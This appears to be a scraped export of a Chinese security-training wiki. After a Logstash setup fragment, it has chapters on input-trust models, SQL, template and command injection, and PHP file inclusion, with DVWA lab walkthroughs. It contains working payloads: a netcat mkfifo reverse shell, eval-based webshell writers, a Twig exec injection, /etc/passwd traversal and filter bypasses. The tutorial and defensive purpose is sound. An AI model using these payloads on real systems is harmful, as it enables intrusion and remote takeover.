grok { match => { "message" => "%{COMBINEDAPACHELOG}" } } geoip { source => "clientip" }}# 这是ElasticSerach服务的监听端口output { elasticsearch { hosts => ["192.168.10.129:9200"] index => "%{appname}-%{+YYYY.MM.dd}" #根据项目名称动态创建索引 }}# 启动logstashnohup /usr/local/elk/logstash/bin/logstash -f /usr/local/elk/logstash/default.conf --config.reload.automatic &# 如果报错运行# 报错内容:Error: missing `server' JVM at `/usr/local/elk/logstash/jdk/lib/server/libjvm.so'.# Please install or use the JRE or JDK that contains these missing componentscp /usr/local/elk/logstash/logstash-7.14.1/jdk/lib/server/libjvm.so /usr/local/elk/logstash/jdk/lib/server/tail -f /usr/local/elk/logstash/logs/logstash-plain.log Kibana配置Chrome扩展程序下载ElasticSearch Head,查看ElasticSearch是否有数据 配置Kibana","tags":[null,null,null,null]},{"title":"一. 从输入讲起","path":"/wiki/VulnerabilityInsightDocs/一. 从输入讲起.html","content":"总字符数: 10.40K 代码: 3.73K, 文本: 5.40K 预计阅读时间: 40 分钟 安全工程师的核心 在信息安全领域,我们没有安全与否的选择,只有风险权衡的选择 ​ —-达拉·卡恩(Dan Geer) 这句话强调了安全是一个持续的权衡过程,并且对于安全理解的深度以及由此引申的看待安全问题的角度和高度具有重要意义. 安全工程师的定义是什么 体(安全本质):这部分涉及到安全的核心和基础.具体而言,它包括培养安全思维的方法、深入探究漏洞产生的根本原因以及理解漏洞的共性特点.理解安全的本质有助于建立更为健壮的安全体系,从根本上解决安全问题. 用(思考者):这一部分强调在安全工作中需要运用的思维方式.这包括挖掘漏洞时的思维方式、进行代码审计时的思维方式以及在安全开发中需要采用的思维方式.这些思维方式有助于更好地理解和应对安全挑战,而且在各种安全工作中都有一些共性. 术(一线技巧):这部分主要关注在利用漏洞时所使用的工具、代码和框架的选择.具体来说,就是为了攻击不同的漏洞和目标网站,攻击者需要选择合适的工具和技术.这还包括一些”骚操作”和技巧,可以帮助攻击者更有效地利用漏洞. 安全的本质 一切的安全方案设计的基础,都是建立在信任关系上的.我们必须相信一些东西,必须有一些最基本的假设,安全方案才能得以建立;如果我们否定一切,安全方案就会如无源之水,无根之木,无法设计,也无法完成. —道哥 是否信任普通用户的输入? (前台漏洞) 信任水平: 通常不完全信任.前台漏洞涉及用户直接与应用程序交互的部分,因此需要对用户输入进行适当的验证和过滤,以防止恶意输入和攻击. 是否信任管理员用户的输入? (后台漏洞) 信任水平: 一般来说,相对信任.管理员用户通常拥有更高的权限,但仍需要进行输入验证和过滤,以防止误操作或滥用权限. 是否信任升级包、离线升级、在线升级、自动化升级? (供应链攻击) 信任水平: 警惕供应链攻击.对于升级包和各种形式的软件更新,需要确保来自可信源的数字签名和验证.供应链攻击可能通过篡改升级包来引入恶意代码,因此对升级的源头要有高度的信任. 不信任任何输入 (信任对输入的检测逻辑)(逻辑漏洞) 信任水平: 谨慎使用.即便不信任用户输入,也要确保对输入数据的检测逻辑是可靠的.逻辑漏洞可能导致应用程序在处理输入时产生未预期的结果,因此需要仔细审查和测试输入验证的逻辑. 安全方案模型 所有的安全模型,都可以简化成一种最简易的模型. 输入–>检测是否有安全风险–>输出 在这个模型中: 输入: 表示系统接收到的各种数据和信息,通常来自用户、外部系统或其他数据源. 检测是否有安全风险: 表示系统对输入进行安全性检测,以识别和防范潜在的威胁和漏洞.这包括输入验证、身份认证、访问控制等措施. 输出: 表示系统处理输入后生成的结果.这可能是用户界面的响应、数据库更新、或其他对输入做出的具体反应. 尽管这个简单模型强调了输入的安全性检测,但在实际应用中,一个全面的安全模型需要考虑到各个层面,包括但不限于: 系统架构安全: 保护整个系统的设计和组织,防范攻击和非法访问. 访问控制: 控制用户和系统组件对资源的访问权限. 身份认证和授权: 确保只有授权用户能够访问敏感信息和执行关键操作. 加密算法: 保障数据的传输和存储安全,防止数据泄露. 日志记录和监控: 收集和分析系统活动日志,及时发现和应对潜在的安全威胁. 综合考虑这些方面,一个完整的安全模型能够更全面地保障系统的稳定性和用户数据的安全. 综合安全防御体系 输入: NDR (IPS/IDS): 流量和 pcap 包,网络层面的数据. EDR: 进程事件、文件事件、主机 API 调用,主机层面的活动. Webshell 查杀: 文本文件,例如源代码或脚本文件. WAF: API 调用,通常是 HTTP 请求. 检测: NDR (IPS/IDS): 利用 WAF、正则表达式、流量解析、文件分析、威胁情报等手段,检测网络流量中的异常行为. 行为分析,通过分析网络流量中的异常行为来检测潜在的威胁. 结合机器学习算法,提高检测准确性. EDR: 通过监控父子进程关系、检测关系异常、观察非常规 API 调用、敏感文件读取等方式,检测主机上的异常行为. 可能包括沙箱分析,以隔离和分析潜在的威胁. 行为分析,包括检测异常登录模式、异常文件访问模式等. Webshell 查杀: 通过检查是否包含恶意关键字、数据进入是否可疑、是否调用了敏感函数等方式,对文本文件进行恶意代码的检测. 可能包括对文件进行静态和动态分析,以识别隐藏的威胁. 可能使用基于签名和行为的检测方法. WAF: 通过检查 HTTP 请求中是否包含 XSS、SQL 注入等关键字,可能包括使用 AI 进行检测. 对网络流量进行深度包检测,以检测更复杂的攻击. 支持定制规则,允许根据特定应用程序的需求进行定制化. 输出: NDR (IPS/IDS): 对正常流量无动作,对恶意流量进行阻断. EDR: 对异常进行阻断,可能需要杀死相关进程. Webshell 查杀: 对恶意文件进行隔离或删除. WAF: 对异常连接进行中断,防止攻击成功. 这个整合的安全防御体系能够在多个层面上协同工作,形成更为全面和强大的安全保护.在实际应用中,还需要考虑日志管理、事件响应、持续监控等方面的技术和流程. 程序的输入 “所有的输入都是恶意的”,是一种过于绝对和悲观的观点.虽然黑客和攻击者会尝试利用系统的弱点进行攻击,但并不是所有的输入都有恶意,大多数输入是合法的且有用的.因此,我们需要通过输入验证、身份认证、访问控制等手段来筛选和过滤输入数据,以确保系统安全. “一切都与输入息息相关”,则更准确地描述了安全设计中输入的重要性.输入是系统中最重要的组成部分之一,也是漏洞存在的主要因素.从输入入手能够帮助我们挖掘系统的漏洞和弱点,进一步完善安全措施.因此,对输入进行充分的检测和过滤至关重要. Tip: 紧紧抓住输入: 重点关注用户输入: 用户输入通常是潜在的安全风险来源.这包括通过表单、URL 参数、文件上传等方式输入的数据. 考虑各种输入场景: 不仅仅局限于用户直接输入,还需要考虑通过 API 调用、数据库查询等方式引入的数据. 结合不同语言的特点: 理解语言的特性: 每种编程语言都有其独特的特点和安全风险.例如,在 PHP 中可能涉及到变量覆盖,而在 SQL 中可能存在 SQL 注入的风险. 考虑框架和库的影响: 如果应用程序使用了特定的框架或库,需要了解其特有的安全考虑,因为这些框架和库可能会有自己的安全隐患和最佳实践. 跟踪传播链条是否有漏洞: 了解信息流的传播路径: 想象用户输入如何通过应用程序的不同部分传播.从接收输入的地方开始,跟踪数据如何在系统内传递和处理. 关注数据的转换和处理: 注意输入数据在系统中的处理过程,包括解析、验证、处理逻辑等环节. 审计传播链是否有撸点: 查找潜在的撸点: 在传播链中寻找潜在的漏洞和弱点.这可能涉及到未经检查的用户输入、缺乏适当的数据验证、绕过机制的可能性等. 关注漏洞的连锁反应: 如果在传播链中的某个环节发现了漏洞,考虑它可能对系统其他部分的影响,因为漏洞往往会在整个传播链上传播. 通过紧密关注输入、理解编程语言的特性,并深入审计数据传播链,审计人员可以更全面地发现和理解潜在的安全漏洞,从而提高代码审计的效果. 控制流与数据流控制流:定义: 控制流描述了程序中代码执行的路径和流程.它由条件语句(如if和switch)和循环语句(如for和while)以及函数调用等构成. 重要性: 程序逻辑: 控制流决定了程序的逻辑结构,即哪些代码块会被执行,执行的顺序是怎样的. 条件执行: 通过条件语句,可以根据不同的条件选择执行不同的代码块,实现灵活的程序行为. 循环控制: 循环语句允许一部分代码块重复执行,实现对某些任务的重复处理. 示例1234567if x > 0: print("x is positive")else: print("x is non-positive")for i in range(5): print(i) 数据流:定义: 数据流描述了程序中数据的传递和变化.它包括对变量、常量、数组、对象等数据进行定义、赋值、使用和传递的操作. 重要性: 数据传递: 数据流展示了数据在程序中的传递路径,表达了数据从一个地方到另一个地方的流动. 变量状态: 通过数据流,可以了解变量在程序执行过程中的状态变化,追踪数据的来源和去向. 数据处理: 数据流揭示了数据的处理方式,例如对数据的计算、转换和处理等. 示例123x = 10y = x * 2z = y + 5 通过理解控制流和数据流,程序员可以更好地设计和理解程序的结构,代码审计人员也可以通过分析这两个流程来识别潜在的漏洞和安全风险. 12345<html> <body> Hello My Name is: <?php $_GET['name'];?> </body></html> 我们将程序员的代码划分为两个部分:控制流代码和数据流代码. 控制流代码用于控制程序的执行路径,决定代码走向和逻辑流程; 数据流则包括输入数据和程序员事先编写的硬编码数据,用于展示、存储和传递数据. 程序员希望用户输入的一定是数据流,而不是控制流 一旦我们输入的数据 能够以某种方式侵入到控制流时,漏洞就产生了 SQL注入12345678910111213141516171819<?php // 定义数据库连接参数 $hostname = 'localhost'; // 数据库主机名 $username = 'root'; // 数据库用户名 $password = 'root'; // 数据库密码 $database = 'frontenddb'; // 数据库名 // 使用 mysqli_connect() 函数建立数据库连接 $conn = mysqli_connect($hostname, $username, $password, $database); // 从 URL 参数中获取 'id' 参数 $id = $_GET['id']; // 构造 SQL 查询语句,查询 'users' 表中 'id' 列等于传入的 'id' 参数的数据 $sql = "SELECT * FROM users WHERE id = '$id'"; // 使用 mysqli_query() 函数执行 SQL 查询,并将结果保存在 $result 变量中 $result = mysqli_query($conn, $sql);?> 我们来看输入流: 1输入?id---> php字符串变量`$id`--->sql语句 `id = '固定的值(用户输入的)'`--->数据库 这里与语言无关,编程语言知识我们用来表述这就事情的,要考虑的是数据库层面 控制流是SQL语句,整个控制流程,程序员的原意是这样的 1234567?id='1 select * from user -- - 动作: select对象: users目标: *条件:\tkey:id\tvalue:$id // 用户输入 在这里程序员应该通过编程保证用户的输入只能影响结构中的value位置,如果不能保障此结构,就会出现漏洞 假如我们用户输入的是2' and 1=1 #,则到达数据库执行的语句则是select * from users where id = '2' and 1=1 #' 123456789动作: select对象: users目标: *条件:\tand(逻辑与)\tkey:id\tvalue:$id // 用户输入2'\tkey2:1\tvalue2:1 我们在代码层的输入,导致了数据库层的数据流入侵到了控制流 SSTI服务器端模板注入也可以用相同的方式来理解Twig是php的一套模板渲染的组件,但是不规范的渲染参数方式,可能导致模板注入.123456789101112131415161718<?php // 引入 Twig 模板引擎的自动加载器 require_once dirname(__FILE__).'/twig/lib/Twig/Autoloader.php'; // 注册 Twig 自动加载器 Twig_Autoloader::register(true); // 初始化 Twig 模板环境,并指定 Twig_Loader_String 作为加载器 $twig = new Twig_Environment(new Twig_Loader_String()); // 从 GET 请求中获取用户输入的 name 参数,并使用 htmlspecialchars 函数进行 HTML 实体转义 // ENT_QUOTES 表示同时转义单引号和双引号,使用 'UTF-8' 确保字符编码正确处理 $userName = htmlspecialchars($_GET["name"], ENT_QUOTES, 'UTF-8'); // 使用 Twig 的 render 方法渲染模板,传入之前转义后的用户名作为模板变量 // "Hello {{name}}" 是模板字符串,其中 {{name}} 会被替换为传入的变量值 $output = $twig->render("Hello {{name}}", array("name" => $userName)); // 输出渲染后的模板内容 echo $output;?>数据流转:1输入--->php字符串变量`$_GET['name']`--->Twig模板渲染--->发现变量({{name}})--->找到变量name的绑定--->解析字符串--->渲染展示12345678910111213141516<?php // 引入 Twig 模板引擎的自动加载器 require_once dirname(__FILE__).'/twig/lib/Twig/Autoloader.php'; // 注册 Twig 自动加载器 Twig_Autoloader::register(true); // 创建 Twig 环境并设置模板加载器,这里使用字符串作为模板 $twig = new Twig_Environment(new Twig_Loader_String()); // 从用户输入中获取 name 参数 // 注意这里存在安全隐患,未对用户输入进行转义,直接嵌入模板,可能会导致 XSS 攻击 $output = $twig->render("Hello {$_GET['name']}"); // 错误地将用户输入直接嵌入到模板中 // 输出渲染后的内容,如果用户输入包含恶意脚本,将执行这些脚本 echo $output;?>12数据流转:输入--->php字符串变量`$_GET['name']`--->拼接字符串`Hello {$_GET['name']}`作为新变量-->Twig模板渲染--->渲染展示这样就可以进行攻击输入了1{{_self.env..registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id ")}}我们在代码层的输入,导致了Twig模板层的数据流入侵到了控制流 命令执行1234567<?php # 从用户输入中获取 admin 参数 $domain = $_GET["admin"]; # 使用 system 函数执行 ping 命令 echo system('ping '.$domain);?> 命令执行是一个常见的功能,特别是在路由器或其他设备产品中.它用于测试网络联通性和性能. 程序员的原意:在bash中: 12exec:pingarg:$domain 在这里程序员应该通过编程保证用户的输入只能影响结构中的arg位置,如果不能保障结构,就会出现漏洞 12345678ping baidu.com|whoamiexec:\tprocess1: exe:ping arg:baidu.com process2: exe:whoami arg:- 我们在代码层的输入,导致了bash程序层的数据流入侵到了控制流 业务流程问题(逻辑漏洞)很多逻辑漏洞、越权漏洞,往往来自于此.也是现代mvc结构会出现比较多的问题 过度信任用户输入业务功能:输出当前用户的信息 12345678910111213141516171819<?php # 数据库连接参数\t$hostname = 'localhost'; $username = 'root'; $password = 'root'; $database = 'frontenddb'; # 连接数据库 $conn = mysqli_connect($hostname, $username, $password, $database); # 从用户输入中获取 user_id 参数,并将其转为整型\t$user_id = intval($_GET['user_id']); # 构造 SQL 查询语句 $sql = "select * from users where user_id = $user_id"; # 执行 SQL 查询\t$result = mysqli_query($conn, $sql);?> 这是一个典型的越权读取原型了,虽然此处没有产生SQL注入问题,但是在业务逻辑上的校验有缺陷,信任了用户输入的user_id,导致漏洞的产生 不信任用户输入—>信任检测逻辑login.php12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455<?php// 启动会话session_start();// 预设密码$password = "test";// 初始化登录状态$_SESSION['is_login'] = 0;// 检查密码是否正确if ($_GET['password'] == $password) { // 设置登录状态为已登录 $_SESSION['is_login'] = 1; // 设置用户 ID(假定管理员 user_id = 0) $_SESSION['user_id'] = $_GET["user_id"]; // 跳转到用户页面 header("location:/user.php?is_login=1"); exit();} else { // 密码错误的情况 echo "密码错误"; exit();}?>// http://192.168.215.129/login.php?password=test&user_id=123// user.php<?php// 设置响应内容类型及字符集header("content-type:text/html;charset=utf-8");// 启动会话session_start();// 检查登录状态和参数是否匹配if ($_SESSION['is_login'] == $_GET['is_login']) { // 已登录 echo "你登录了"; // 判断用户是否为管理员 if ($_SESSION['user_id'] == 0) { echo "你是管理员"; } else { echo "你不是管理员,付钱"; }} else { // 未登录的情况 echo "没登陆,滚";}?> 这是一个经典的逻辑绕过漏洞,我们可以看到整个流程里面,开发者完全没有信任用户的输入. 对密码进行了校验,校验通过才存Session,并且用户id也是存储于Session中的,没法通过Cookie伪造绕过鉴权 不信任任何输入—>对输入进行检测(实际上就是把信任关系绑定到了对输入检测逻辑上,一旦输入检测逻辑出现了问题,信任关系就被打破,就出现了漏洞) 这套代码就是对输入的检测逻辑出现了漏洞. php是弱类型的语言,在PHP下,NULL==false==0==”” 而$_SESSION的取值来自于Cookie中PHP Session的输入,如果我们不输入Cookie,这里就完全绕过这个校验. 业务流程检测逻辑不规范导致漏洞,是大家今后进行代码审计最经常遇到的.因为业务情况不同,遇到的情况多种多样. 总结与讨论体-用-术看待问题 体: 简单说: 想象漏洞就像污点一样,从某个地方开始,然后在系统中传播.要找到问题,就得分析这个污点的源头(输入触发)、最后停留的地方(汇聚点)、以及中途是如何传播的(传播链gadget). 比喻: 想象成一滴颜料滴在水池中,我们要找到它是从哪儿来的、最后停在哪儿了,以及在水中是怎么扩散的. 用: 简单说: 着重总结那些常常被忽视的入口,考虑到不同编程语言可能有一些小巧妙的”技巧”,特别是在使用PHP等语言时,有很多绕过的方法. 比喻: 想象成在房子中找隐藏的门,有些可能平时被忽视了.而在不同的房间(编程语言)里,有些找门的方法可能会有点”奇技淫巧”. 术: 简单说: 使用各种工具,就像用一把大型探测器一样,先扫描系统中有哪些可能的问题,然后再深入看代码,找到具体的漏洞. 比喻: 像在房间中使用各种仪器,先找到哪里可能有问题,再仔细检查每个角落,确保没有隐藏的风险. 紧紧抓住输入代码审计中的两个主要方面:数据流到控制流的逃逸和业务逻辑可能产生问题的点.让我们深入了解这两点: 数据流到控制流的逃逸 定义: 数据流到控制流的逃逸指的是通过恶意输入或错误处理导致的数据控制权转移到程序的控制流中,可能导致漏洞或不安全的行为. 审计重点: 在代码审计中,需要特别关注用户输入进入程序时,如何被处理并如何影响程序的控制流.这可能包括对输入验证、过滤和编码的审查,以及对程序中涉及控制流判断的地方的仔细分析. 业务逻辑可能产生问题的点 定义: 业务逻辑问题指的是与程序预期功能不符或可能导致安全问题的程序行为. 审计重点: 使用污点分析:通过跟踪数据流中的污点,可以识别出哪些输入影响了关键的控制流判断点. 关注敏感操作:审计人员应关注可能导致业务逻辑问题的关键功能点,例如身份验证、权限检查、加密和解密操作等. 了解业务规则:深入理解应用程序的业务规则和预期行为,以便在审计过程中更好地识别异常或潜在的漏洞. 通过这两个方面的审计,审计人员可以更全面地理解应用程序的运行方式,并识别潜在的安全风险和漏洞. 在审计过程中,结合合适的工具和技术,以及深入的污点分析,可以更快速地筛选出问题,并提供有针对性的建议和修复方案."},{"title":"七. 文件包含","path":"/wiki/VulnerabilityInsightDocs/七. 文件包含.html","content":"总字符数: 21.17K 代码: 6.31K, 文本: 7.43K 预计阅读时间: 60 分钟 什么是文件包含? 开发人员将可重复使用的内容写到单个文件中,使用时直接调用此文件. 文件包含在PHP中非常常用,可以实现代码的模块化和重用.比如,将一些公共的函数或类单独放在一个文件中,在需要使用的时候通过文件包含即可使用这些函数或类,避免了重复编写代码的问题. 文件包含123456789101112131415161718192021222324252627282930313233343536373839<?php// 初始化 HTML 变量$html = '';// 检查是否提交表单且文件名不为空if (isset($_GET['submit']) && $_GET['filename'] != null) { // 获取文件名 $filename = $_GET['filename']; // 直接包含文件,存在安全风险,可能导致文件包含漏洞 include "$filename"; // 安全的写法,使用白名单,严格指定包含的文件名 // if ($filename == 'file1.php' || $filename == 'file2.php' || $filename == 'file3.php' || $filename == 'file4.php' || $filename == 'file5.php') { // include "$filename"; // }}?><div class="main-content"> <div class="main-content-inner"> <div class="breadcrumbs ace-save-state"> <h1>本地文件包含</h1> </div> <div class="page-content"> <div> <p>请输入一个路径</p> <form method="get"> <!-- 输入文件名的文本框 --> <input type="text" name="filename" placeholder="输入文件名" /> <!-- 提交按钮 --> <input class="sub" type="submit" name="submit" /> </form> <?php echo $html; ?> </div> </div> </div></div> 文件包含漏洞 开发人员追求代码灵活性,有时将包含的文件设置为变量,以实现动态调用.然而,这种灵活性可能导致攻击者调用恶意文件,产生文件包含漏洞. 文件包含漏洞(File Inclusion Vulnerability)是一种常见的网络安全漏洞,主要指的是Web应用程序未正确过滤用户提供的输入,使攻击者能够在应用程序中执行任意代码. 攻击者可通过文件包含漏洞访问不应公开访问的文件,包括系统文件和应用程序文件.如果攻击者成功获取敏感数据,如密码文件或数据库凭据,就能利用这些信息展开更广泛的攻击. 文件包含漏洞是一种代码注入漏洞,它引入了文件包含函数,通过这些函数将文件直接包含到代码中,以减少重复编写.简而言之,一个php文件包含了另一个或多个其他文件. 然而,问题在于除了包含常规的代码文件外,文件包含函数还会执行任意后缀的文件.如果允许用户控制包含文件路径的地方,就可能包含非预期的文件,进而执行非预期的代码,导致安全漏洞,比如getshell. 虽然几乎所有的脚本语言都提供文件包含功能,但文件包含漏洞在PHP Web应用程序中较为常见,而在JSP、ASP等语言中很少甚至没有这类问题,这主要是由于语言设计的弊端.因此,后续的说明将主要以PHP为例. 利用条件: include等函数通过动态执行变量的方式引入需要包含的文件 用户能控制输入,并控制该变量 **最常见的文件包含漏洞类型是本地文件包含漏洞(LFI)和远程文件包含漏洞(RFI). ** 本地文件包含(LFI)在文件包含漏洞的利用过程中,Web应用程序调用了本地(服务器上)的文件,称作本地文件包含 123target.xxx?file=/etc/hosts# 还可以加一些不存在的目录名,进行穿越、绕过target.xxx?file=/etc/sadasdsajhdasjd/hosts 远程文件包含(RFI)远程文件包含漏洞指的是Web应用程序在处理用户输入时,将用户提供的数据作为URL参数,未进行合理的过滤和验证.攻击者可以通过构造恶意的URL,使应用程序加载并执行攻击者指定的远程脚本,导致Web应用程序遭受攻击. 这些远程文件通常以 HTTP 或 FTP URI 的形式获取 12# eval.php<?php file_put_contents('shell.php','<?php eval($_POST["A"]);?>');?> 1target.xxx?file=http://hacker_server/evil.php 额外要求要产生远程文件包含漏洞,在使用了特定函数和权限控制不严谨外,include,require等包含函数还必须可以加载远程文件 PHP的配置文件allow_url_fopen和allow_url_include设置为ON 1234# 是否允许打开远程文件allow_url_fopen = On# 是否允许include/require远程文件allow_url_include = On 文件包含漏洞产生的原因文件包含漏洞通常是由于开发人员未充分验证和过滤用户输入,或者未正确使用文件包含函数而导致的.具体原因包括: 盲目相信用户输入: 开发人员在使用文件包含函数时,通常会将某个文件包含到当前 PHP 文件中以便代码复用.但如果没有对用户输入进行验证和过滤,攻击者可以通过构造恶意输入利用文件包含漏洞. 使用相对路径: 如果开发人员在使用文件包含函数时采用相对路径而非绝对路径,攻击者可以利用路径遍历漏洞来访问应用程序以外的文件或目录,从而实现文件包含漏洞. 盲目信任第三方代码: 如果开发人员使用第三方代码库,但未对这些代码进行充分审计和验证,就可能存在文件包含漏洞. 系统配置不当: 如果系统配置不当,例如允许用户上传文件并执行,就会增加文件包含漏洞的风险. 文件包含漏洞的危害文件包含漏洞是一种常见的安全漏洞,攻击者可通过该漏洞读取或执行恶意代码,对系统造成以下危害: 数据泄露: 攻击者可利用文件包含漏洞读取应用程序的配置文件、日志文件、数据库凭据等敏感信息,导致用户数据泄露. 恶意代码执行: 攻击者可通过文件包含漏洞执行恶意代码,例如执行系统命令、注入恶意脚本、下载和运行恶意软件等,从而获得对系统的控制权(获取 webshell). 拒绝服务攻击: 攻击者可利用文件包含漏洞对系统进行拒绝服务攻击,发送大量请求占用系统资源,导致系统崩溃. 提权攻击: 攻击者可通过文件包含漏洞提升自身权限,访问系统文件、修改系统设置等,获取更高权限. 综上所述,文件包含漏洞的危害极为严重,可能导致数据泄露、恶意代码执行、拒绝服务攻击、提权攻击等严重后果.为规避文件包含漏洞,应采取多种措施,包括验证和过滤用户输入数据、使用绝对路径、不将用户输入作为代码执行、使用白名单机制、禁止远程文件包含和使用安全编码实践等.这些措施有助于提高系统的安全性. 文件包含漏洞通常与以下函数有关: include()函数:该函数会将指定文件包含到当前 PHP 文件中,并且执行包含的文件中的 PHP 代码.如果攻击者能够控制include()函数的参数,就可以注入恶意代码并执行,从而利用文件包含漏洞. require()函数:该函数与include()函数类似,也会将指定文件包含到当前PHP文件中,并且执行包含的文件中的 PHP 代码.如果攻击者能够控制require()函数的参数,就可以注入恶意代码并执行,从而利用文件包含漏洞. include_once()和require_once()函数:这两个函数与include()函数和require()函数类似,也会将指定文件包含到当前 PHP 文件中,并且执行包含的文件中的 PHP 代码. 不同之处在于,如果文件已经被包含过,则不会再次包含.攻击者可以利用这两个函数的特性,通过改变包含文件的路径,来实现文件包含漏洞. realpath()函数:该函数可以将相对路径转换为绝对路径,攻击者可以利用这个函数来实现路径遍历漏洞,从而访问应用程序以外的文件或目录. 综上所述,文件包含漏洞通常与include()函数、require()函数、include_once()和require_once()函数、realpath()函数等相关. 在编写 PHP 代码时,应该避免将用户输入作为这些函数的参数,或者在使用这些函数前,对参数进行验证和过滤,以避免文件包含漏洞的发生. 文件包含漏洞的防御 验证和过滤用户输入数据: 在读取文件名或路径时,要验证数据的合法性,只允许特定字符和路径,对输入数据进行过滤,如去除包含特殊字符的文件名、过滤不允许访问的目录等. 使用绝对路径: 建议使用绝对路径而非相对路径,以避免攻击者利用路径穿越漏洞访问应用程序以外的文件. 避免将用户输入作为代码执行: 不要将用户输入的数据直接传递给eval()、include()、require()等函数,以免攻击者注入恶意代码改变程序行为. 使用白名单机制: 为文件和目录设置白名单机制,只允许访问指定文件或目录,预防攻击者通过路径遍历漏洞访问应用程序以外的文件或目录. 禁止远程文件包含: 如果必须使用include()函数包含远程文件,设置allow_url_include参数为 0,避免远程文件被执行. 使用安全编码实践: 采用安全编码实践,例如输入验证、参数化查询、错误处理等,以降低漏洞风险. 文件包含漏洞是常见的安全漏洞,攻击者通过该漏洞可读取或修改应用程序、系统文件和配置文件,执行任意系统命令,对系统造成威胁.为了防范文件包含漏洞,应该综合采取以上多种措施,提高系统的安全性. DVWA靶场实战打开DVWA文件包含页面(File Inclusion) 我们发现,当我们点击file1.php时,对应的URL的page的值变为file1.php,同时Web应用执行file1.php文件的源代码; 1http://dvwa_ip/vulnerabilities/fi/?page=file1.php 当我们点击file2.php时,对应的URL的page的值变为file2.php,同时Web应用执行file2.php文件的源代码; 1http://dvwa_ip/vulnerabilities/fi/?page=file2.php 当我们点击file3.php时,对应的URL的page的值变为file3.php,同时Web应用执行file3.php文件的源代码. 1http://dvwa_ip/vulnerabilities/fi/?page=file3.php 由此可知,当我们在目标URL的page值后添加某个存在的文件名时,Web应用程序会相应的包含此文件.并且会将该文件(无论后缀名)作为PHP代码执行. low看一下源码 12345<?php// The page we wish to display$file = $_GET[ 'page' ];// 通过get请求把page参数的值传入file变量?> Web应用程序定义了一个变量page,将用户输入的值作为page变量的值,同时将其赋值给file变量.最后,Web应用程序通过对file变量的引用来实现文件的包含功能. DVWA的low级别一般是不带有任何防护的, 没有对输入的page变量的值执行任何过滤措施,如果我们输入那些系统不希望用户看见任何信息的文件的文件名,并赋值给page变量.那么Web应用程序就会产生文件包含漏洞,系统的敏感信息就会被泄露. payload1:本地–利用相对路径(许多个../就一定会来到根目录)1../../../../../../../../../../../../../../../../etc/passwd payload2:本地–利用绝对路径1/etc/passwd payload3:远程包含由于DWVA的环境,Web应用可以包含远程文件 1http://localhost/DVWA/vulnerabilities/fi/?page=http://10.10.10.13:8080/phpinfo.txt medium直接上源码 123456789101112<?php// The page we wish to display$file = $_GET[ 'page' ];// 依旧是通过get请求把page参数的值传入file变量// Input validation$file = str_replace( array( "http://", "https://" ), "", $file );//将file变量中的http://和https://替换为空$file = str_replace( array( "../", "..\\\\" ), "", $file );//同理,将file变量中的../和..\\\\替换为空//但是捏,它只替换了一次且只替换全小写的内容,也就意味着可以通过双写或大小写绕过?> payload1:本地–绝对路径 如果我们不使用../与..\\这两个关键词,而是直接访问根目录下的用户信息文件/etc/passwd . 由于Web应用程序的过滤很不严谨,并没有对根目录/执行过滤,所以系统不能过滤我们输入的payload,那么Web应用程序将成功包含文件/etc/passwd,并直接暴露其源代码.即我们构造的payload成功的绕过了Web应用程序的防御机制. 1/etc/passwd payload2:远程–双写绕过1hthttp://tp://server/file payload3:远程–大小写绕过1hTtp://server/file payload4:远程本地皆可–使用http/https外的协议1file:///etc/passwd high看源码 12345678910111213141516<?php// The page we wish to display// 日常通过get请求把page参数的值传入file变量$file = $_GET[ 'page' ];// Input validation//如果file变量的开头不是file且file的值不为include.php//就提示找不到文件并退出程序if( !fnmatch( "file*", $file ) && $file != "include.php" ) { // This isn't the page we want! echo "ERROR: File not found!"; exit;}?> 补充一个知识点: fnmatch() 函数的作用是根据指定的模式来匹配文件名或字符串.语法为:fnmatch(pattern,string,flags) 各个参数解释如下: pattern 必需.规定要检索的模式. string 必需.规定要检查的字符串或文件. flags 可选. 它是可选的参数表,用于指定标志或标志的组合.这些标志可以是以下标志的组合: FNM_PATHNAME:用于指定字符串中的斜线仅匹配给定模式中的斜线. FNM_NOESCAPE:用于禁用反斜杠转义. FNM_CASEFOLD:用于无 shell 匹配. FNM_PERIOD:用于指定字符串中的前导期间必须与给定模式中的期间完全匹配. high模式中进行了更为安全的白名单过滤,因此现在包含的东西必须要以file开头了 payload1:file协议1file:///etc/passwd Getshelldata协议反弹Shell12345678# 第一步:使用data写一小段PHP代码,可以接收参数<?php $var=shell_exec($_GET['cmd']);?># 第二步,Base64之后结合data协议data://text/plain;base64,PD9waHAgJHZhcj1zaGVsbF9leGVjKCRfR0VUWydjbWQnXSk7Pz4=# 第三步传入需要反弹shell的命令,让PHP代码去执行&cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh 2>&1|nc 192.168.56.102 6666 >/tmp/f# 第四步结合在一起并且URL编码data%3A//text/plain%3Bbase64%2CPD9waHAgJHZhcj1zaGVsbF9leGVjKCRfR0VUWydjbWQnXSk7Pz4%3D&cmd=rm+/tmp/f;mkfifo+/tmp/f;cat+/tmp/f%7C/bin/sh+2>%261%7Cnc+127.0.0.1+6666+%3E/tmp/f session与文件包含漏洞的结合条件 session的存储位置可以获取(phpinfo页面一般可以获取) session中的内容可以被控制,传入恶意代码 分析12345<?phpsession_start();$ctfs=$_GET['ctfs'];$_SESSION["username"]=$ctfs;?> 我们发现此php会将获取到的GET型ctfs变量的值存入到session中,也就是可以控制session中的内容 我们通过phpinfo页面发现了session的存储路径/var/lib/php/session 当访问http://ip/path/ctfs.php?ctfs=test 后,会在/var/lib/php/session目录下存储session的值. session的文件名为sess_+sessionid,sessionid可以通过开发者模式获取. 所以session的文件名为sess_iln6toir7r2t9su7ujnsfolb35 去服务器上查看,果然有该文件 利用通过上面的分析,可以知道ctfs传入的值会存储到session文件中,如果存在本地文件包含漏洞,就可以通过ctfs写入恶意代码到session文件中,然后通过文件包含漏洞执行此恶意代码getshell. 1http://ip/path/ctfs.php?ctfs=%3C?php%20@eval($_POST['shell'])?%3E 当访问以上链接的时候,Web应用会在/var/lib/php/session目录下存储session的值(同时我们的webshell也被存进去了) 通过前端推测session储存的文件名sess_p44b454elq0mfe2vopqvfm7m37 通过文件包含的漏洞解析恶意代码 1http://ip/path/include.php?filename=/var/lib/php/session/sess_p44b454elq0mfe2vopqvfm7m37 通过webshell工具连接(方便使用你的shell) 我本地使用的是AntSword 思考实际上你只需把shell写到一个Web应用能访问的位置并利用文件包含漏洞进行解析就可以 这个写入的文件可以不考虑后缀,反正最后会被解析成PHP 